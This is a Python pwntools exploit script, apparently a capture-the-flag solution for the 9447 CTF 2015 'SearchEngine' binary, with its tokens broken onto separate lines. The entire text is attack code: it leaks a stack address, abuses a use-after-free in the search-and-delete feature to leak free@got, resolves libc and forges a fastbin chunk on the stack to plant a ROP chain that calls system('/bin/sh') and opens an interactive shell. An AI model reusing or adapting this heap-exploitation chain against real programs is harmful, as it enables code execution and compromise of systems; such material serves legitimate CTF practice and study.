from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(base, system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(delim,
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(delim,
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
context.log_level
=
'DEBUG'
binary
=
'./9447CTF2015-SearchEngine'
context.binary
=
binary
elf
=
ELF(binary,checksec
=
False
)
p
=
remote(
'node3.buuoj.cn'
,
29230
)
if
argv[
1
]
=
=
'r'
else
process(binary)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
,checksec
=
False
)
def
dbg():
gdb.attach(p)
pause()
def
index(sentence_size, sentence):
sl(
'2\n'
)
sla(
'size:\n'
,
str
(sentence_size))
sla(
'sentence:\n'
, sentence)
def
search(word_size, word):
sl(
'1\n'
)
sla(
'size:\n'
,
str
(word_size))
sla(
'word:\n'
, word)
r()
sl(
48
*
2
*
'a'
)
ru(
'\n'
)
ru(
48
*
'a'
)
stack_leak
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'leak stack'
, stack_leak)
ru(
'\n'
)
index(
0x28
,
0x26
*
'a'
+
' '
+
'b'
)
ru(
'Added sentence\n'
)
search(
1
,
'b'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
index(
0x40
,
0x40
*
'a'
)
ru(
'Added sentence\n'
)
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
ru(
'Deleted!\n'
)
pl
=
''
pl
+
=
p64(
0x400E90
)
pl
+
=
p64(
5
)
pl
+
=
p64(elf.got[
'free'
])
pl
+
=
p64(
14
)
pl
+
=
p64(
0
)
index(
0x28
, pl)
ru(
'Added sentence\n'
)
search(
5
,
'Enter'
)
ru(
'Found 14: '
)
free_addr
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
leak(
'free@got'
,free_addr)
sla(
'(y/n)?\n'
,
'n'
)
ru(
'Quit\n'
)
libc_base, system, binsh
=
ret2libc(free_addr,
'free'
)
leak(
'libc_base'
, libc_base)
leak(
'system'
, system)
leak(
'binsh'
, binsh)
size
=
0x38
index(size, (size
-
2
)
*
'a'
+
' t'
)
index(size, (size
-
2
)
*
'b'
+
' t'
)
index(size, (size
-
2
)
*
'c'
+
' t'
)
search(
1
,
't'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'y'
)
search(
1
,
'\x00'
)
sla(
'(y/n)?\n'
,
'y'
)
sla(
'(y/n)?\n'
,
'n'
)
stack_addr
=
stack_leak
+
0x20
+
0x2
-
0x8
fake_chunk
=
p64(stack_addr)
index(
0x38
,fake_chunk.ljust(
56
))
index(
0x38
,
'A'
*
56
)
index(
0x38
,
'B'
*
56
)
pop_rdi_ret
=
0x400e23
buf
=
'A'
*
30
buf
+
=
p64(pop_rdi_ret)
buf
+
=
p64(binsh)
buf
+
=
p64(system)
buf
=
buf.ljust(
56
,
'C'
)
index(
0x38
,buf)
p.interactive()